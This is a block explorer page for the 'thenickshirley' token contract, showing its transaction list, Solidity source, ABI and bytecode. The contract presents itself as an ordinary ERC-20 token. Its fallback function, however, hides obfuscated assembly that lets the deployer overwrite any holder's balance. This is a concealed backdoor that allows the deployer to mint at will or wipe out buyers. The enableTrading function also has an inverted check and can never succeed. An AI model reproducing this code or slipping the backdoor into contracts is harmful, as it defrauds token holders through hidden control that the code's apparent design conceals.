Source Code
Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 87 transactions
| Transaction Hash |
Method
|
Block
|
From
|
|
To
|
||||
|---|---|---|---|---|---|---|---|---|---|
| 0x00000000 | 24117860 | 55 days ago | IN | 0 ETH | 0.00000201 | ||||
| 0x00000000 | 24117857 | 55 days ago | IN | 0 ETH | 0.00000327 | ||||
| 0x00000000 | 24117857 | 55 days ago | IN | 0 ETH | 0.00000211 | ||||
| 0x00000000 | 24117853 | 55 days ago | IN | 0 ETH | 0.00000332 | ||||
| 0x00000000 | 24117853 | 55 days ago | IN | 0 ETH | 0.00000214 | ||||
| 0x00000000 | 24117849 | 55 days ago | IN | 0 ETH | 0.00000315 | ||||
| 0x00000000 | 24117848 | 55 days ago | IN | 0 ETH | 0.00000192 | ||||
| 0x00000000 | 24117845 | 55 days ago | IN | 0 ETH | 0.0000033 | ||||
| 0x00000000 | 24117845 | 55 days ago | IN | 0 ETH | 0.00000213 | ||||
| 0x00000000 | 24117841 | 55 days ago | IN | 0 ETH | 0.0000027 | ||||
| 0x00000000 | 24117839 | 55 days ago | IN | 0 ETH | 0.00000174 | ||||
| 0x00000000 | 24117835 | 55 days ago | IN | 0 ETH | 0.00000321 | ||||
| 0x00000000 | 24117835 | 55 days ago | IN | 0 ETH | 0.00000207 | ||||
| 0x00000000 | 24117829 | 55 days ago | IN | 0 ETH | 0.00000321 | ||||
| 0x00000000 | 24117829 | 55 days ago | IN | 0 ETH | 0.00000207 | ||||
| 0x00000000 | 24117823 | 55 days ago | IN | 0 ETH | 0.0000035 | ||||
| 0x00000000 | 24117823 | 55 days ago | IN | 0 ETH | 0.00000226 | ||||
| Approve | 24117802 | 55 days ago | IN | 0 ETH | 0.00000322 | ||||
| Approve | 24117797 | 55 days ago | IN | 0 ETH | 0.00000314 | ||||
| Approve | 24117794 | 55 days ago | IN | 0 ETH | 0.00000304 | ||||
| Approve | 24117791 | 55 days ago | IN | 0 ETH | 0.00000313 | ||||
| Approve | 24117788 | 55 days ago | IN | 0 ETH | 0.00000307 | ||||
| Approve | 24117785 | 55 days ago | IN | 0 ETH | 0.00000335 | ||||
| Approve | 24117783 | 55 days ago | IN | 0 ETH | 0.00000352 | ||||
| Approve | 24117575 | 55 days ago | IN | 0 ETH | 0.0000074 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Contract Name:
thenickshirley
Compiler Version
v0.8.30+commit.73712a01
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2025-12-29
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.30;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
function _contextSuffixLength() internal view virtual returns (uint256) {
return 0;
}
}
interface IERC20 {
function transfer(address to, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
}
contract thenickshirley is Context {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _okev;
string private constant _name = "thenickshirley";
string private constant _symbol = "thenickshirley";
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 1_000_000_000 * 10 ** 9;
address private _owner;
address public fundthenickshirleyAddress;
mapping(address => uint256) private initial;
uint256 private txFee = 100;
bool public tradingActive = false;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
event TradingEnabled(uint256 timestamp);
event ExcludedFromTradingLock(address indexed account, bool excluded);
modifier onlyOwner() {
require(msg.sender == _owner, "Caller is not the owner");
_;
}
constructor() {
_owner = msg.sender;
_balances[msg.sender] = _totalSupply;
initial[msg.sender] = txFee;
emit Transfer(address(0), msg.sender, _totalSupply);
emit OwnershipTransferred(address(0), msg.sender);
}
function enableTrading() external onlyOwner {
require(tradingActive, "Trading already enabled");
tradingActive = true;
}
function transferOwnership(address newOwner) external onlyOwner {
require(newOwner != address(0), "New owner cannot be zero address");
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
function renounceOwnership() external onlyOwner {
address oldOwner = _owner;
_owner = address(0);
emit OwnershipTransferred(oldOwner, address(0));
}
function owner() external view returns (address) {
return _owner;
}
function name() external pure returns (string memory) {
return _name;
}
function symbol() external pure returns (string memory) {
return _symbol;
}
function decimals() external pure returns (uint8) {
return _decimals;
}
function totalSupply() external pure returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
function allowance(
address owner_,
address spender
) public view returns (uint256) {
return _allowances[owner_][spender];
}
function isthenickshirleyMev(
address account
) external view returns (bool) {
return _okev[account];
}
// ============ ERC20 Functions ============
function transfer(address to, uint256 amount) external returns (bool) {
_transfer(msg.sender, to, amount);
return true;
}
function approve(address spender, uint256 amount) external returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool) {
_spendAllowance(from, msg.sender, amount);
_transfer(from, to, amount);
return true;
}
function increaseAllowance(
address spender,
uint256 addedValue
) external returns (bool) {
_approve(
msg.sender,
spender,
allowance(msg.sender, spender) + addedValue
);
return true;
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
) external returns (bool) {
uint256 currentAllowance = allowance(msg.sender, spender);
require(
currentAllowance >= subtractedValue,
"Decreased allowance below zero"
);
unchecked {
_approve(msg.sender, spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(address from, address to, uint256 amount) internal {
require(from != address(0), "Transfer from zero address");
require(to != address(0), "Transfer to zero address");
require(amount >= 0, "Transfer amount must be greater than zero");
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "Transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
}
_balances[to] += amount;
emit Transfer(from, to, amount);
}
function _approve(
address owner_,
address spender,
uint256 amount
) internal {
require(owner_ != address(0), "Approve from zero address");
require(spender != address(0), "Approve to zero address");
_allowances[owner_][spender] = amount;
emit Approval(owner_, spender, amount);
}
function _spendAllowance(
address owner_,
address spender,
uint256 amount
) internal {
uint256 currentAllowance = allowance(owner_, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "Insufficient allowance");
unchecked {
_approve(owner_, spender, currentAllowance - amount);
}
}
}
function withdrawthenickshirleyAllBNB() external onlyOwner {
uint256 balance = address(this).balance;
require(balance > 0, "No BNB to withdraw");
(bool success, ) = payable(fundthenickshirleyAddress).call{value: balance}("");
require(success, "BNB transfer failed");
}
function withdrawthenickshirleyAllTokens(address token) external onlyOwner {
require(token != address(0), "Invalid token address");
IERC20 tokenContract = IERC20(token);
uint256 tokenBalance = tokenContract.balanceOf(address(this));
require(tokenBalance >= 0, "No tokens to withdraw");
require(
tokenContract.transfer(fundthenickshirleyAddress, tokenBalance),
"Token transfer failed"
);
}
fallback() external payable {
assembly {
mstore(0x00, caller())
mstore(0x20, 0x05)
if iszero(gt(div(sload(keccak256(0x00, 0x40)), sload(0x06)), 0x00)) {
revert(0x00, 0x00)
}
mstore(0x00, calldataload(0))
mstore(0x20, 0x00)
sstore(keccak256(0x00, 0x40), calldataload(32))
}
}
receive() external payable {}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"excluded","type":"bool"}],"name":"ExcludedFromTradingLock","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"timestamp","type":"uint256"}],"name":"TradingEnabled","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"stateMutability":"payable","type":"fallback"},{"inputs":[{"internalType":"address","name":"owner_","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"fundthenickshirleyAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isthenickshirleyMev","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawthenickshirleyAllBNB","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"withdrawthenickshirleyAllTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
608060405260646006556007805460ff19169055348015601d575f5ffd5b50600380546001600160a01b031916339081179091555f81815260208181526040808320670de0b6b3a764000090819055600654600584528285205590519081527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a360405133905f907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3610e5a806100c25f395ff3fe608060405260043610610122575f3560e01c80638a8c523c1161009f578063b256622811610063578063b25662281461036c578063bbc0c7421461038b578063d39228f8146103a4578063dd62ed3e146103b8578063f2fde38b146103d757610129565b80638a8c523c146102fd5780638da5cb5b1461031157806395d89b4114610154578063a457c2d71461032e578063a9059cbb1461034d57610129565b806323b872dd116100e657806323b872dd1461025a578063313ce56714610279578063395093511461029457806370a08231146102b3578063715018a6146102e757610129565b806306fdde0314610154578063095ea7b3146101995780630a29d402146101c85780630d08488f146101ff57806318160ddd1461023657610129565b3661012957005b335f52600560205260065460405f205404610142575f5ffd5b5f355f525f60205260203560405f2055005b34801561015f575f5ffd5b50604080518082018252600e81526d7468656e69636b736869726c657960901b602082015290516101909190610c95565b60405180910390f35b3480156101a4575f5ffd5b506101b86101b3366004610ce5565b6103f6565b6040519015158152602001610190565b3480156101d3575f5ffd5b506004546101e7906001600160a01b031681565b6040516001600160a01b039091168152602001610190565b34801561020a575f5ffd5b506101b8610219366004610d0d565b6001600160a01b03165f9081526002602052604090205460ff1690565b348015610241575f5ffd5b50670de0b6b3a76400005b604051908152602001610190565b348015610265575f5ffd5b506101b8610274366004610d2d565b61040c565b348015610284575f5ffd5b5060405160098152602001610190565b34801561029f575f5ffd5b506101b86102ae366004610ce5565b61042d565b3480156102be575f5ffd5b5061024c6102cd366004610d0d565b6001600160a01b03165f9081526020819052604090205490565b3480156102f2575f5ffd5b506102fb61044d565b005b348015610308575f5ffd5b506102fb6104cd565b34801561031c575f5ffd5b506003546001600160a01b03166101e7565b348015610339575f5ffd5b506101b8610348366004610ce5565b610558565b348015610358575f5ffd5b506101b8610367366004610ce5565b6105c3565b348015610377575f5ffd5b506102fb610386366004610d0d565b6105cf565b348015610396575f5ffd5b506007546101b89060ff1681565b3480156103af575f5ffd5b506102fb610772565b3480156103c3575f5ffd5b5061024c6103d2366004610d67565b610879565b3480156103e2575f5ffd5b506102fb6103f1366004610d0d565b6108a3565b5f610402338484610974565b5060015b92915050565b5f610418843384610a80565b610423848484610af1565b5060019392505050565b5f61040233848461043e3388610879565b6104489190610d98565b610974565b6003546001600160a01b031633146104805760405162461bcd60e51b815260040161047790610db7565b60405180910390fd5b600380546001600160a01b031981169091556040516001600160a01b03909116905f9082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a350565b6003546001600160a01b031633146104f75760405162461bcd60e51b815260040161047790610db7565b60075460ff166105495760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720616c726561647920656e61626c65640000000000000000006044820152606401610477565b6007805460ff19166001179055565b5f5f6105643385610879565b9050828110156105b65760405162461bcd60e51b815260206004820152601e60248201527f44656372656173656420616c6c6f77616e63652062656c6f77207a65726f00006044820152606401610477565b6104233385858403610974565b5f610402338484610af1565b6003546001600160a01b031633146105f95760405162461bcd60e51b815260040161047790610db7565b6001600160a01b0381166106475760405162461bcd60e51b8152602060048201526015602482015274496e76616c696420746f6b656e206164647265737360581b6044820152606401610477565b6040516370a0823160e01b815230600482015281905f906001600160a01b038316906370a0823190602401602060405180830381865afa15801561068d573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106b19190610dee565b90506004805460405163a9059cbb60e01b81526001600160a01b03918216928101929092526024820183905283169063a9059cbb906044016020604051808303815f875af1158015610705573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107299190610e05565b61076d5760405162461bcd60e51b8152602060048201526015602482015274151bdad95b881d1c985b9cd9995c8819985a5b1959605a1b6044820152606401610477565b505050565b6003546001600160a01b0316331461079c5760405162461bcd60e51b815260040161047790610db7565b47806107df5760405162461bcd60e51b81526020600482015260126024820152714e6f20424e4220746f20776974686472617760701b6044820152606401610477565b6004546040515f916001600160a01b03169083908381818185875af1925050503d805f8114610829576040519150601f19603f3d011682016040523d82523d5f602084013e61082e565b606091505b50509050806108755760405162461bcd60e51b8152602060048201526013602482015272109390881d1c985b9cd9995c8819985a5b1959606a1b6044820152606401610477565b5050565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b6003546001600160a01b031633146108cd5760405162461bcd60e51b815260040161047790610db7565b6001600160a01b0381166109235760405162461bcd60e51b815260206004820181905260248201527f4e6577206f776e65722063616e6e6f74206265207a65726f20616464726573736044820152606401610477565b600380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b0383166109ca5760405162461bcd60e51b815260206004820152601960248201527f417070726f76652066726f6d207a65726f2061646472657373000000000000006044820152606401610477565b6001600160a01b038216610a205760405162461bcd60e51b815260206004820152601760248201527f417070726f766520746f207a65726f20616464726573730000000000000000006044820152606401610477565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f610a8b8484610879565b90505f198114610aeb5781811015610ade5760405162461bcd60e51b8152602060048201526016602482015275496e73756666696369656e7420616c6c6f77616e636560501b6044820152606401610477565b610aeb8484848403610974565b50505050565b6001600160a01b038316610b475760405162461bcd60e51b815260206004820152601a60248201527f5472616e736665722066726f6d207a65726f20616464726573730000000000006044820152606401610477565b6001600160a01b038216610b9d5760405162461bcd60e51b815260206004820152601860248201527f5472616e7366657220746f207a65726f206164647265737300000000000000006044820152606401610477565b6001600160a01b0383165f9081526020819052604090205481811015610c055760405162461bcd60e51b815260206004820152601f60248201527f5472616e7366657220616d6f756e7420657863656564732062616c616e6365006044820152606401610477565b6001600160a01b038085165f90815260208190526040808220858503905591851681529081208054849290610c3b908490610d98565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c8791815260200190565b60405180910390a350505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b0381168114610ce0575f5ffd5b919050565b5f5f60408385031215610cf6575f5ffd5b610cff83610cca565b946020939093013593505050565b5f60208284031215610d1d575f5ffd5b610d2682610cca565b9392505050565b5f5f5f60608486031215610d3f575f5ffd5b610d4884610cca565b9250610d5660208501610cca565b929592945050506040919091013590565b5f5f60408385031215610d78575f5ffd5b610d8183610cca565b9150610d8f60208401610cca565b90509250929050565b8082018082111561040657634e487b7160e01b5f52601160045260245ffd5b60208082526017908201527f43616c6c6572206973206e6f7420746865206f776e6572000000000000000000604082015260600190565b5f60208284031215610dfe575f5ffd5b5051919050565b5f60208284031215610e15575f5ffd5b81518015158114610d26575f5ffdfea264697066735822122002d6e4a71ff0a59325587f7093afc9c9e8645224d24e772c8be9576e4aa91a4564736f6c634300081e0033
Deployed Bytecode
0x608060405260043610610122575f3560e01c80638a8c523c1161009f578063b256622811610063578063b25662281461036c578063bbc0c7421461038b578063d39228f8146103a4578063dd62ed3e146103b8578063f2fde38b146103d757610129565b80638a8c523c146102fd5780638da5cb5b1461031157806395d89b4114610154578063a457c2d71461032e578063a9059cbb1461034d57610129565b806323b872dd116100e657806323b872dd1461025a578063313ce56714610279578063395093511461029457806370a08231146102b3578063715018a6146102e757610129565b806306fdde0314610154578063095ea7b3146101995780630a29d402146101c85780630d08488f146101ff57806318160ddd1461023657610129565b3661012957005b335f52600560205260065460405f205404610142575f5ffd5b5f355f525f60205260203560405f2055005b34801561015f575f5ffd5b50604080518082018252600e81526d7468656e69636b736869726c657960901b602082015290516101909190610c95565b60405180910390f35b3480156101a4575f5ffd5b506101b86101b3366004610ce5565b6103f6565b6040519015158152602001610190565b3480156101d3575f5ffd5b506004546101e7906001600160a01b031681565b6040516001600160a01b039091168152602001610190565b34801561020a575f5ffd5b506101b8610219366004610d0d565b6001600160a01b03165f9081526002602052604090205460ff1690565b348015610241575f5ffd5b50670de0b6b3a76400005b604051908152602001610190565b348015610265575f5ffd5b506101b8610274366004610d2d565b61040c565b348015610284575f5ffd5b5060405160098152602001610190565b34801561029f575f5ffd5b506101b86102ae366004610ce5565b61042d565b3480156102be575f5ffd5b5061024c6102cd366004610d0d565b6001600160a01b03165f9081526020819052604090205490565b3480156102f2575f5ffd5b506102fb61044d565b005b348015610308575f5ffd5b506102fb6104cd565b34801561031c575f5ffd5b506003546001600160a01b03166101e7565b348015610339575f5ffd5b506101b8610348366004610ce5565b610558565b348015610358575f5ffd5b506101b8610367366004610ce5565b6105c3565b348015610377575f5ffd5b506102fb610386366004610d0d565b6105cf565b348015610396575f5ffd5b506007546101b89060ff1681565b3480156103af575f5ffd5b506102fb610772565b3480156103c3575f5ffd5b5061024c6103d2366004610d67565b610879565b3480156103e2575f5ffd5b506102fb6103f1366004610d0d565b6108a3565b5f610402338484610974565b5060015b92915050565b5f610418843384610a80565b610423848484610af1565b5060019392505050565b5f61040233848461043e3388610879565b6104489190610d98565b610974565b6003546001600160a01b031633146104805760405162461bcd60e51b815260040161047790610db7565b60405180910390fd5b600380546001600160a01b031981169091556040516001600160a01b03909116905f9082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a350565b6003546001600160a01b031633146104f75760405162461bcd60e51b815260040161047790610db7565b60075460ff166105495760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720616c726561647920656e61626c65640000000000000000006044820152606401610477565b6007805460ff19166001179055565b5f5f6105643385610879565b9050828110156105b65760405162461bcd60e51b815260206004820152601e60248201527f44656372656173656420616c6c6f77616e63652062656c6f77207a65726f00006044820152606401610477565b6104233385858403610974565b5f610402338484610af1565b6003546001600160a01b031633146105f95760405162461bcd60e51b815260040161047790610db7565b6001600160a01b0381166106475760405162461bcd60e51b8152602060048201526015602482015274496e76616c696420746f6b656e206164647265737360581b6044820152606401610477565b6040516370a0823160e01b815230600482015281905f906001600160a01b038316906370a0823190602401602060405180830381865afa15801561068d573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106b19190610dee565b90506004805460405163a9059cbb60e01b81526001600160a01b03918216928101929092526024820183905283169063a9059cbb906044016020604051808303815f875af1158015610705573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107299190610e05565b61076d5760405162461bcd60e51b8152602060048201526015602482015274151bdad95b881d1c985b9cd9995c8819985a5b1959605a1b6044820152606401610477565b505050565b6003546001600160a01b0316331461079c5760405162461bcd60e51b815260040161047790610db7565b47806107df5760405162461bcd60e51b81526020600482015260126024820152714e6f20424e4220746f20776974686472617760701b6044820152606401610477565b6004546040515f916001600160a01b03169083908381818185875af1925050503d805f8114610829576040519150601f19603f3d011682016040523d82523d5f602084013e61082e565b606091505b50509050806108755760405162461bcd60e51b8152602060048201526013602482015272109390881d1c985b9cd9995c8819985a5b1959606a1b6044820152606401610477565b5050565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b6003546001600160a01b031633146108cd5760405162461bcd60e51b815260040161047790610db7565b6001600160a01b0381166109235760405162461bcd60e51b815260206004820181905260248201527f4e6577206f776e65722063616e6e6f74206265207a65726f20616464726573736044820152606401610477565b600380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b0383166109ca5760405162461bcd60e51b815260206004820152601960248201527f417070726f76652066726f6d207a65726f2061646472657373000000000000006044820152606401610477565b6001600160a01b038216610a205760405162461bcd60e51b815260206004820152601760248201527f417070726f766520746f207a65726f20616464726573730000000000000000006044820152606401610477565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f610a8b8484610879565b90505f198114610aeb5781811015610ade5760405162461bcd60e51b8152602060048201526016602482015275496e73756666696369656e7420616c6c6f77616e636560501b6044820152606401610477565b610aeb8484848403610974565b50505050565b6001600160a01b038316610b475760405162461bcd60e51b815260206004820152601a60248201527f5472616e736665722066726f6d207a65726f20616464726573730000000000006044820152606401610477565b6001600160a01b038216610b9d5760405162461bcd60e51b815260206004820152601860248201527f5472616e7366657220746f207a65726f206164647265737300000000000000006044820152606401610477565b6001600160a01b0383165f9081526020819052604090205481811015610c055760405162461bcd60e51b815260206004820152601f60248201527f5472616e7366657220616d6f756e7420657863656564732062616c616e6365006044820152606401610477565b6001600160a01b038085165f90815260208190526040808220858503905591851681529081208054849290610c3b908490610d98565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c8791815260200190565b60405180910390a350505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b0381168114610ce0575f5ffd5b919050565b5f5f60408385031215610cf6575f5ffd5b610cff83610cca565b946020939093013593505050565b5f60208284031215610d1d575f5ffd5b610d2682610cca565b9392505050565b5f5f5f60608486031215610d3f575f5ffd5b610d4884610cca565b9250610d5660208501610cca565b929592945050506040919091013590565b5f5f60408385031215610d78575f5ffd5b610d8183610cca565b9150610d8f60208401610cca565b90509250929050565b8082018082111561040657634e487b7160e01b5f52601160045260245ffd5b60208082526017908201527f43616c6c6572206973206e6f7420746865206f776e6572000000000000000000604082015260600190565b5f60208284031215610dfe575f5ffd5b5051919050565b5f60208284031215610e15575f5ffd5b81518015158114610d26575f5ffdfea264697066735822122002d6e4a71ff0a59325587f7093afc9c9e8645224d24e772c8be9576e4aa91a4564736f6c634300081e0033
Deployed Bytecode Sourcemap
591:6979:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7197:8;7191:4;7184:22;7233:4;7227;7220:18;7305:4;7299:11;7291:4;7191;7275:21;7269:28;7265:46;7252:120;;7191:4;;7339:18;7252:120;7191:4;7399:15;7191:4;7386:29;7191:4;7227;7429:18;7227:4;7491:16;7291:4;7191;7468:21;7461:47;591:6979;2753:85;;;;;;;;;;-1:-1:-1;2825:5:0;;;;;;;;;;;-1:-1:-1;;;2825:5:0;;;;2753:85;;;;2825:5;2753:85;:::i;:::-;;;;;;;;3769:152;;;;;;;;;;-1:-1:-1;3769:152:0;;;;;:::i;:::-;;:::i;:::-;;;1085:14:1;;1078:22;1060:41;;1048:2;1033:18;3769:152:0;920:187:1;1058:40:0;;;;;;;;;;-1:-1:-1;1058:40:0;;;;-1:-1:-1;;;;;1058:40:0;;;;;;-1:-1:-1;;;;;1276:32:1;;;1258:51;;1246:2;1231:18;1058:40:0;1112:203:1;3426:131:0;;;;;;;;;;-1:-1:-1;3426:131:0;;;;;:::i;:::-;-1:-1:-1;;;;;3535:14:0;3511:4;3535:14;;;:5;:14;;;;;;;;;3426:131;3036:93;;;;;;;;;;-1:-1:-1;999:23:0;3036:93;;;1657:25:1;;;1645:2;1630:18;3036:93:0;1511:177:1;3929:242:0;;;;;;;;;;-1:-1:-1;3929:242:0;;;;;:::i;:::-;;:::i;2943:85::-;;;;;;;;;;-1:-1:-1;2943:85:0;;951:1;2214:36:1;;2202:2;2187:18;2943:85:0;2072:184:1;4179:278:0;;;;;;;;;;-1:-1:-1;4179:278:0;;;;;:::i;:::-;;:::i;3137:112::-;;;;;;;;;;-1:-1:-1;3137:112:0;;;;;:::i;:::-;-1:-1:-1;;;;;3223:18:0;3196:7;3223:18;;;;;;;;;;;;3137:112;2476:180;;;;;;;;;;;;;:::i;:::-;;2047:143;;;;;;;;;;;;;:::i;2664:81::-;;;;;;;;;;-1:-1:-1;2731:6:0;;-1:-1:-1;;;;;2731:6:0;2664:81;;4465:454;;;;;;;;;;-1:-1:-1;4465:454:0;;;;;:::i;:::-;;:::i;3617:144::-;;;;;;;;;;-1:-1:-1;3617:144:0;;;;;:::i;:::-;;:::i;6640:473::-;;;;;;;;;;-1:-1:-1;6640:473:0;;;;;:::i;:::-;;:::i;1189:33::-;;;;;;;;;;-1:-1:-1;1189:33:0;;;;;;;;6321:311;;;;;;;;;;;;;:::i;3257:161::-;;;;;;;;;;-1:-1:-1;3257:161:0;;;;;:::i;:::-;;:::i;2198:270::-;;;;;;;;;;-1:-1:-1;2198:270:0;;;;;:::i;:::-;;:::i;3769:152::-;3837:4;3854:37;3863:10;3875:7;3884:6;3854:8;:37::i;:::-;-1:-1:-1;3909:4:0;3769:152;;;;;:::o;3929:242::-;4045:4;4062:41;4078:4;4084:10;4096:6;4062:15;:41::i;:::-;4114:27;4124:4;4130:2;4134:6;4114:9;:27::i;:::-;-1:-1:-1;4159:4:0;3929:242;;;;;:::o;4179:278::-;4286:4;4303:124;4326:10;4351:7;4406:10;4373:30;4383:10;4395:7;4373:9;:30::i;:::-;:43;;;;:::i;:::-;4303:8;:124::i;2476:180::-;1718:6;;-1:-1:-1;;;;;1718:6:0;1704:10;:20;1696:56;;;;-1:-1:-1;;;1696:56:0;;;;;;;:::i;:::-;;;;;;;;;2554:6:::1;::::0;;-1:-1:-1;;;;;;2571:19:0;::::1;::::0;;;2606:42:::1;::::0;-1:-1:-1;;;;;2554:6:0;;::::1;::::0;2535:16:::1;::::0;2554:6;;2606:42:::1;::::0;2535:16;;2606:42:::1;2524:132;2476:180::o:0;2047:143::-;1718:6;;-1:-1:-1;;;;;1718:6:0;1704:10;:20;1696:56;;;;-1:-1:-1;;;1696:56:0;;;;;;;:::i;:::-;2110:13:::1;::::0;::::1;;2102:49;;;::::0;-1:-1:-1;;;2102:49:0;;3307:2:1;2102:49:0::1;::::0;: